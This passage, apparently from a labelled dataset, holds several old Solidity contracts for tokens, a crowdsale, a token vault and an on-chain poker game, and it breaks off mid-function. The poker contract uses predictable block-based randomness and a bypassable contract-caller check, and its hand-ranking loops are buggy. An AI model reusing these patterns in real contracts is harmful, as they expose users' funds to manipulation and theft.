return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Joash";
string public constant TOKEN_SYMBOL = "Nita";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xc5dC671E6b171e5db9E48F4971e9D26E9831834C;
uint public constant START_TIME = 1544878800;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 987 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract HeliosToken is ERC20, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public _yearTwoSupply;
uint public _yearThreeSupply;
bool public _yearTwoClaimed;
bool public _yearThreeClaimed;
uint256 public startTime = 1519862400;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function HeliosToken() public {
symbol = "HLS";
name = "Helios Token";
decimals = 18;
_totalSupply = 350000000000000000000000000;
_yearTwoSupply = 30000000000000000000000000;
_yearThreeSupply = 20000000000000000000000000;
balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2] = (_totalSupply - _yearTwoSupply - _yearThreeSupply);
Transfer(address(0), 0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2, (_totalSupply - _yearTwoSupply - _yearThreeSupply));
_yearTwoClaimed = false;
_yearThreeClaimed = false;
}
function teamClaim(uint year) public onlyOwner returns (bool success) {
if(year == 2)
{
require (now > (startTime + 31536000) && _yearTwoClaimed == false);
balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2] = safeAdd(balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2], _yearTwoSupply);
Transfer(address(0), 0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2, _yearTwoSupply);
_yearTwoClaimed = true;
}
if(year == 3)
{
require (now > (startTime + 63072000) && _yearThreeClaimed == false);
balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2] = safeAdd(balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2], _yearThreeSupply);
Transfer(address(0), 0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2, _yearThreeSupply);
_yearThreeClaimed = true;
}
return true;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,724 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MziToken is MintableToken {
string public constant name = "MziToken";
string public constant symbol = "MZI";
uint8 public constant decimals = 18;
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract Moozicore is Crowdsale {
uint256 constant CAP = 1000000000000000000000000000;
uint256 constant CAP_PRE_SALE = 166000000000000000000000000;
uint256 constant CAP_ICO_SALE = 498000000000000000000000000;
uint256 constant RATE_PRE_SALE_WEEK1 = 100000;
uint256 constant RATE_PRE_SALE_WEEK2 = 95000;
uint256 constant RATE_PRE_SALE_WEEK3 = 90000;
uint256 constant RATE_PRE_SALE_WEEK4 = 85000;
uint256 constant RATE_ICO_SALE_WEEK1 = 80000;
uint256 constant RATE_ICO_SALE_WEEK2 = 75000;
uint256 constant RATE_ICO_SALE_WEEK3 = 72500;
uint256 constant RATE_ICO_SALE_WEEK4 = 70000;
uint256 public startTime;
uint256 public endTime;
uint256 public totalSupplyIco;
function Moozicore (
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet
) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
startTime = _startTime;
endTime = _endTime;
}
function createTokenContract() internal returns (MintableToken) {
return new MziToken();
}
function validPurchase() internal constant returns (bool) {
if (msg.value < 50000000000000000) {
return false;
}
if (token.totalSupply().add(msg.value.mul(getRate())) >= CAP) {
return false;
}
if (now >= 1517266799 && now < 1533110400) {
return false;
}
if (now <= 1517266799) {
if (token.totalSupply().add(msg.value.mul(getRate())) >= CAP_PRE_SALE) {
return false;
}
}
if (now >= 1533110400) {
if (totalSupplyIco.add(msg.value.mul(getRate())) >= CAP_ICO_SALE) {
return false;
}
}
return super.validPurchase();
}
function buyTokens(address beneficiary) payable public {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(getRate());
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
if (now >= 1533110400) {
totalSupplyIco = totalSupplyIco.add(tokens);
}
forwardFunds();
}
function getRate() public constant returns (uint256) {
uint256 currentRate = RATE_ICO_SALE_WEEK4;
if (now <= 1515452399) {
currentRate = RATE_PRE_SALE_WEEK1;
} else if (now <= 1516057199) {
currentRate = RATE_PRE_SALE_WEEK2;
} else if (now <= 1516661999) {
currentRate = RATE_PRE_SALE_WEEK3;
} else if (now <= 1517266799) {
currentRate = RATE_PRE_SALE_WEEK4;
} else if (now <= 1533679199) {
currentRate = RATE_ICO_SALE_WEEK1;
} else if (now <= 1534283999) {
currentRate = RATE_ICO_SALE_WEEK2;
} else if (now <= 1534888799) {
currentRate = RATE_ICO_SALE_WEEK3;
} else if (now <= 1535493599) {
currentRate = RATE_ICO_SALE_WEEK4;
}
return currentRate;
}
function mintTokens(address walletToMint, uint256 t) payable public {
require(msg.sender == wallet);
require(token.totalSupply().add(t) < CAP);
if (now <= 1517266799) {
require(token.totalSupply().add(t) < CAP_PRE_SALE);
}
if (now > 1517266799) {
require(totalSupplyIco.add(t) < CAP_ICO_SALE);
totalSupplyIco = totalSupplyIco.add(t);
}
token.mint(walletToMint, t);
}
} | 1 | 3,395 |
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Recoverable is Ownable {
function Recoverable() {
}
function recoverTokens(ERC20Basic token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
function tokensToBeReturned(ERC20Basic token) public returns (uint) {
return token.balanceOf(this);
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract StandardTokenExt is StandardToken {
function isToken() public constant returns (bool weAre) {
return true;
}
}
contract TokenVault is Ownable, Recoverable {
using SafeMathLib for uint;
uint public investorCount;
uint public tokensToBeAllocated;
uint public totalClaimed;
uint public tokensAllocatedTotal;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public lockedAt;
StandardTokenExt public token;
enum State{Unknown, Loading, Holding, Distributing}
event Allocated(address investor, uint value);
event Distributed(address investors, uint count);
event Locked();
function TokenVault(address _owner, uint _freezeEndsAt, StandardTokenExt _token, uint _tokensToBeAllocated) {
owner = _owner;
if(owner == 0) {
throw;
}
token = _token;
if(!token.isToken()) {
throw;
}
if(_freezeEndsAt == 0) {
throw;
}
if(_tokensToBeAllocated == 0) {
throw;
}
freezeEndsAt = _freezeEndsAt;
tokensToBeAllocated = _tokensToBeAllocated;
}
function setInvestor(address investor, uint amount) public onlyOwner {
if(lockedAt > 0) {
throw;
}
if(amount == 0) throw;
if(balances[investor] > 0) {
throw;
}
balances[investor] = amount;
investorCount++;
tokensAllocatedTotal += amount;
Allocated(investor, amount);
}
function lock() onlyOwner {
if(lockedAt > 0) {
throw;
}
if(tokensAllocatedTotal != tokensToBeAllocated) {
throw;
}
if(token.balanceOf(address(this)) != tokensAllocatedTotal) {
throw;
}
lockedAt = now;
Locked();
}
function recoverFailedLock() onlyOwner {
if(lockedAt > 0) {
throw;
}
token.transfer(owner, token.balanceOf(address(this)));
}
function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
function claim() {
address investor = msg.sender;
if(lockedAt == 0) {
throw;
}
if(now < freezeEndsAt) {
throw;
}
if(balances[investor] == 0) {
throw;
}
if(claimed[investor] > 0) {
throw;
}
uint amount = balances[investor];
claimed[investor] = amount;
totalClaimed += amount;
token.transfer(investor, amount);
Distributed(investor, amount);
}
function tokensToBeReturned(ERC20Basic tokenToClaim) public returns (uint) {
if (address(tokenToClaim) == address(token)) {
return getBalance().minus(tokensAllocatedTotal);
} else {
return tokenToClaim.balanceOf(this);
}
}
function getState() public constant returns(State) {
if(lockedAt == 0) {
return State.Loading;
} else if(now > freezeEndsAt) {
return State.Distributing;
} else {
return State.Holding;
}
}
} | 1 | 3,057 |
pragma solidity ^0.4.21;
contract RNG{
uint256 secret = 0;
modifier NoContract(){
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size == 0);
_;
}
function RNG() public NoContract{
secret = uint256(keccak256(block.coinbase));
}
function _giveRNG(uint256 modulo, uint256 secr) private view returns (uint256, uint256){
uint256 seed1 = uint256(block.coinbase);
uint256 seed3 = secr;
uint256 newsecr = (uint256(keccak256(seed1,seed3)));
return (newsecr % modulo, newsecr);
}
function GiveRNG(uint256 max) internal NoContract returns (uint256){
uint256 num;
uint256 newsecret = secret;
(num,newsecret) = _giveRNG(max, newsecret);
secret=newsecret;
return num;
}
}
contract Poker is RNG{
uint8[5] public HouseCards;
mapping(address => uint8[2]) public PlayerCards;
mapping(address => uint256) public PlayerRound;
uint256 public RoundNumber;
uint8[6] public WinningHand;
address public PokerWinner;
uint8[2] public WinningCards;
function GetCardNumber(uint8 rank, uint8 suit) public pure returns (uint8){
if (rank==0){
return 0;
}
return ((rank-1)*4+1)+suit;
}
function GetPlayerRound(address who) public view returns (uint256){
return PlayerRound[who];
}
function GetCardInfo(uint8 n) public pure returns (uint8 rank, uint8 suit){
if (n==0){
return (0,0);
}
suit = (n-1)%4;
rank = (n-1)/4+1;
}
function DrawHouse() internal{
uint8 i;
uint8 rank;
uint8 suit;
uint8 n;
for (i=0; i<5; i++){
rank = uint8(GiveRNG(13)+1);
suit = uint8(GiveRNG(4));
n = GetCardNumber(rank,suit);
HouseCards[i]=n;
}
uint8[2] storage target = PlayerCards[address(this)];
for (i=0; i<2; i++){
rank = uint8(GiveRNG(13)+1);
suit = uint8(GiveRNG(4));
n = GetCardNumber(rank,suit);
target[i]=n;
}
WinningHand = RankScore(address(this));
WinningCards=[target[0],target[1]];
PokerWinner= address(this);
}
event DrawnCards(address player, uint8 card1, uint8 card2);
function DrawAddr() internal {
uint8 tcard1;
uint8 tcard2;
for (uint8 i=0; i<2; i++){
uint8 rank = uint8(GiveRNG(13)+1);
uint8 suit = uint8(GiveRNG(4));
uint8 n = GetCardNumber(rank,suit);
if (i==0){
tcard1=n;
}
else{
tcard2=n;
}
PlayerCards[msg.sender][i]=n;
}
if (PlayerRound[msg.sender] != RoundNumber){
PlayerRound[msg.sender] = RoundNumber;
}
emit DrawnCards(msg.sender,tcard1, tcard2);
}
function GetPlayerCards(address who) public view NoContract returns (uint8, uint8){
uint8[2] memory target = PlayerCards[who];
return (target[0], target[1]);
}
function GetWinCards() public view returns (uint8, uint8){
return (WinningCards[0], WinningCards[1]);
}
struct Card{
uint8 rank;
uint8 suit;
}
function HandWins(address checkhand) internal returns (uint8){
uint8 result = HandWinsView(checkhand);
uint8[6] memory CurrScore = RankScore(checkhand);
uint8[2] memory target = PlayerCards[checkhand];
if (result == 1){
WinningHand = CurrScore;
WinningCards= [target[0],target[1]];
PokerWinner=msg.sender;
}
return result;
}
function HandWinsView(address checkhand) public view returns (uint8){
if (PlayerRound[checkhand] != RoundNumber){
return 0;
}
uint8[6] memory CurrentWinHand = WinningHand;
uint8[6] memory CurrScore = RankScore(checkhand);
uint8 ret = 2;
if (CurrScore[0] > CurrentWinHand[0]){
return 1;
}
else if (CurrScore[0] == CurrentWinHand[0]){
for (uint i=1; i<=5; i++){
if (CurrScore[i] >= CurrentWinHand[i]){
if (CurrScore[i] > CurrentWinHand[i]){
return 1;
}
}
else{
ret=0;
break;
}
}
}
else{
ret=0;
}
return ret;
}
function RankScore(address checkhand) internal view returns (uint8[6] output){
uint8[4] memory FlushTracker;
uint8[14] memory CardTracker;
uint8 rank;
uint8 suit;
Card[7] memory Cards;
for (uint8 i=0; i<7; i++){
if (i>=5){
(rank,suit) = GetCardInfo(PlayerCards[checkhand][i-5]);
FlushTracker[suit]++;
CardTracker[rank]++;
Cards[i] = Card(rank,suit);
}
else{
(rank,suit) = GetCardInfo(HouseCards[i]);
FlushTracker[suit]++;
CardTracker[rank]++;
Cards[i] = Card(rank,suit);
}
}
uint8 straight = 0;
uint8[3] memory straight_startcard;
for (uint8 startcard=13; i>=5; i--){
if (CardTracker[startcard] >= 1){
for (uint8 currcard=startcard-1; currcard>=(startcard-4); currcard--){
if (CardTracker[currcard] >= 1){
if (currcard == (startcard-4)){
straight_startcard[straight] = startcard;
straight++;
}
}
else{
break;
}
}
}
}
uint8 flush=0;
for (i=0;i<=3;i++){
if (FlushTracker[i]>=5){
flush=i;
break;
}
}
if (flush>0 && straight>0){
output[0] = 9;
currcard=0;
for (i=0; i<3; i++){
startcard=straight_startcard[i];
currcard=5;
for (rank=0; i<7; i++){
if (Cards[i].suit == flush && Cards[i].rank <= startcard && Cards[i].rank>=(startcard-4)){
currcard--;
if (currcard==0){
break;
}
}
}
if (currcard==0){
output[1] = straight_startcard[i];
break;
}
}
return output;
}
rank=0;
for (i=13;i>=1;i--){
rank = rank + CardTracker[i];
if (CardTracker[i] >= 4){
output[0] = 8;
output[1] = i;
return output;
}
if (rank >=4){
break;
}
}
rank=0;
suit=0;
startcard=0;
currcard=0;
for (i=13;i>=1;i--){
if (rank == 0 && CardTracker[i] >= 3){
rank = i;
}
else if(CardTracker[i] >= 2){
if (suit == 0){
suit = CardTracker[i];
}
else{
if (startcard==0){
startcard=CardTracker[i];
}
}
}
}
if (rank != 0 && suit != 0){
output[0] = 7;
output[1] = rank;
output[2] = suit;
return output;
}
if (flush>0){
output[0] = 6;
output[1] = flush;
return output;
}
if (straight>0){
output[0] = 5;
output[1] = straight_startcard[0];
return output;
}
if (rank>0){
output[0]=4;
output[1]=rank;
currcard=2;
for (i=13;i>=1;i--){
if (i != rank){
if (CardTracker[i] > 0){
output[currcard] = i;
currcard++;
if(currcard==4){
return output;
}
}
}
}
}
if (suit > 0 && startcard > 0){
output[0] = 3;
output[1] = suit;
output[2] = startcard;
for (i=13;i>=1;i--){
if (i!=suit && i!=startcard && CardTracker[i]>0){
output[3]=i;
return output;
}
}
}
if (suit > 0){
output[0]=2;
output[1]=suit;
currcard=2;
for (i=13;i>=1;i--){
if (i!=suit && CardTracker[i]>0){
output[currcard]=i;
currcard++;
if(currcard==5){
return output;
}
}
}
}
output[0]=1;
currcard=1;
for (i=13;i>=1;i--){
if (CardTracker[i]>0){
output[currcard]=i;
currcard++;
if (currcard==6){
return output;
}
}
}
}
}
contract Vegas is Poker{
address owner;
address public feesend;
uint256 public Timer;
uint8 constant MAXPRICEPOWER = 40;
address public JackpotWinner;
uint16 public JackpotPayout = 8000;
uint16 public PokerPayout = 2000;
uint16 public PreviousPayout = 6500;
uint16 public Increase = 9700;
uint16 public Tax = 500;
uint16 public PotPayout = 8000;
uint256 public BasePrice = (0.005 ether);
uint256 public TotalPot;
uint256 public PokerPayoutValue;
uint256[9] TimeArray = [uint256(6 hours), uint256(3 hours), uint256(2 hours), uint256(1 hours), uint256(50 minutes), uint256(40 minutes), uint256(30 minutes), uint256(20 minutes), uint256(15 minutes)];
struct Item{
address Holder;
uint8 PriceID;
}
Item[16] public Market;
uint8 public MaxItems = 12;
event ItemBought(uint256 Round, uint8 ID, uint256 Price, address BoughtFrom, address NewOwner, uint256 NewTimer, uint256 NewJP, string Quote, string Name);
event PokerPaid(uint256 Round, uint256 AmountWon, address Who, string Quote, string Name, uint8[6] WinHand);
event JackpotPaid(uint256 Round, uint256 Amount, address Who, string Quote, string Name);
event NewRound();
bool public EditMode;
bool public SetEditMode;
modifier OnlyOwner(){
require(msg.sender == owner);
_;
}
modifier GameClosed(){
require (block.timestamp > Timer);
_;
}
function Vegas() public{
owner=msg.sender;
feesend=0xC1086FA97549CEA7acF7C2a7Fa7820FD06F3e440;
Timer = 1;
}
function Buy(uint8 ID, string Quote, string Name) public payable NoContract {
require(ID < MaxItems);
require(!EditMode);
uint256 price = GetPrice(Market[ID].PriceID);
require(msg.value >= price);
if (block.timestamp > Timer){
if (Timer != 0){
Withdraw("GameInit", "Admin");
return;
}
}
if (msg.value > price){
msg.sender.transfer(msg.value-price);
}
uint256 PayTax = (price * Tax)/10000;
feesend.transfer(PayTax);
uint256 Left = (price-PayTax);
if (Market[ID].PriceID!=0){
uint256 pay = (Left*PreviousPayout)/10000;
TotalPot = TotalPot + (Left-pay);
Market[ID].Holder.transfer(pay);
}
else{
TotalPot = TotalPot + Left;
}
Timer = block.timestamp + GetTime(Market[ID].PriceID);
JackpotWinner = msg.sender;
emit ItemBought(RoundNumber,ID, price, Market[ID].Holder, msg.sender, Timer, TotalPot, Quote, Name);
DrawAddr();
